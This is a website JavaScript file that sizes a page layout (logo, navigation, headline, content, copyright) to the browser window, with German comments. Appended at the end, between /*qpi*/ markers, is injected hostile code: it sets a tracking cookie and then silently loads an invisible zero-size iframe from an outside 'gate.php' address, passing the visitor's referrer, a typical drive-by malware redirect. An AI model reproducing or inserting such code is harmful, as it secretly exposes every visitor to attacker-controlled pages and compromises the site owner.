
// Fluides Layout

function getSize() {
  var myWidth = 0, myHeight = 0;
  if( typeof( window.innerWidth ) == 'number' ) {
    //Non-IE
    myWidth = window.innerWidth;
    myHeight = window.innerHeight;
  } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
    //IE 6+ in 'standards compliant mode'
    myWidth = document.documentElement.clientWidth;
    myHeight = document.documentElement.clientHeight;
  } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
    //IE 4 compatible
    myWidth = document.body.clientWidth;
    myHeight = document.body.clientHeight;
  }
  
 
  var HeightLogo = myHeight/6;
  if (HeightLogo < 120) {HeightLogo = 120;}
  if (HeightLogo > 150) {HeightLogo = 150;}  
 
  var HeightNavigation = (myHeight-HeightLogo)-100;     // Höhe der Navigation: Gesamthöhe - Logohöhe - Counter
  if (HeightNavigation < 300) {HeightNavigation = 300;} // Mindesthöhe der Navigation: Anzahl Menüpunkte(15) x Mindesthöhe Menüpunkte(20) 
  
  var HeightImgMenu = (HeightNavigation)/15;
  if (HeightImgMenu < 20) {HeightImgMenu = 20;}
  if (HeightImgMenu > 35) {HeightImgMenu = 35;}
   
  var WidthImgMenu = HeightImgMenu*38/7; 
  if (WidthImgMenu > 190) {WidthImgMenu = 190;}
  if (WidthImgMenu < 109) {WidthImgMenu = 109;}
    
  var WidthNavigation = WidthImgMenu+20;
  if (WidthNavigation < 130) {WidthNavigation = 130;}
  if (WidthNavigation > 210) {WidthNavigation = 210;}
  
  var SizeImgLogo = WidthNavigation*0.6;
      
  var TopCounter = HeightLogo+HeightNavigation;
  
  var HeightHeadline = myHeight/7;  
  if (HeightHeadline < 100) {HeightHeadline = 100;}
  if (HeightHeadline > 130) {HeightHeadline = 130;} 
  
  var WidthHeadline = (myWidth-WidthNavigation)-50;       // 50 = rechter Rand
  if (WidthHeadline < 650) {WidthHeadline = 650;}
  if (WidthHeadline > 950) {WidthHeadline = 950;}
  
  var WidthImgHeadline = WidthHeadline*0.85;
    
  var HeightImgHeadline = WidthImgHeadline*78/800;
   
  var HeightContent = (myHeight-HeightHeadline)-50; 
  if (HeightContent < 400) {HeightContent = 400;}
  
  var WidthContent = WidthHeadline-30;
  if (WidthContent < 590) {WidthContent = 590;}
  if (WidthContent > 920) {WidthContent = 920;}
  
  var TopCopyright = HeightContent+30+HeightHeadline;  // Beginn des Copyrights (top): Contenthöhe + padding + Headlinehöhe
  
  var FontsizeCopyright = WidthHeadline/63;
     
  //window.alert(WidthHeadline);
  
  setCssStyle("#logo","width",WidthNavigation + 'px');
  setCssStyle("#logo","height",HeightLogo + 'px');
  setCssStyle("img.logo","width",SizeImgLogo + 'px');
  setCssStyle("img.logo","height",SizeImgLogo + 'px');   
  setCssStyle("#navigation","top",HeightLogo + 'px');
  setCssStyle("#navigation","width",WidthNavigation + 'px');  
  setCssStyle("#navigation","height",HeightNavigation + 'px');
  setCssStyle("img.imgmenu","width",WidthImgMenu + 'px');
  setCssStyle("img.imgmenu","height",HeightImgMenu + 'px'); 
  setCssStyle("#counter","top",TopCounter + 'px'); 
  setCssStyle("#counter","width",WidthNavigation + 'px');
  setCssStyle("#headline","left",WidthNavigation + 'px');
  setCssStyle("#headline","width",WidthHeadline + 'px');
  setCssStyle("#headline","height",HeightHeadline + 'px');
  setCssStyle("img.headline","width",WidthImgHeadline + 'px');
  setCssStyle("img.headline","height",HeightImgHeadline + 'px');
  setCssStyle("#content","left",WidthNavigation + 'px');
  setCssStyle("#content","top",HeightHeadline + 'px');  
  setCssStyle("#content","width",WidthContent + 'px');
  setCssStyle("#content","height",HeightContent + 'px');
  setCssStyle("#copyright","left",WidthNavigation + 'px');
  setCssStyle("#copyright","top",TopCopyright + 'px');
  setCssStyle("#copyright","width",WidthHeadline + 'px');
  setCssStyle("#copyright","font-size",FontsizeCopyright + 'px');
   
}

getSize();

window.onresize = getSize;/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://s1.kaluchka1.in/gate.php?f=854044&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
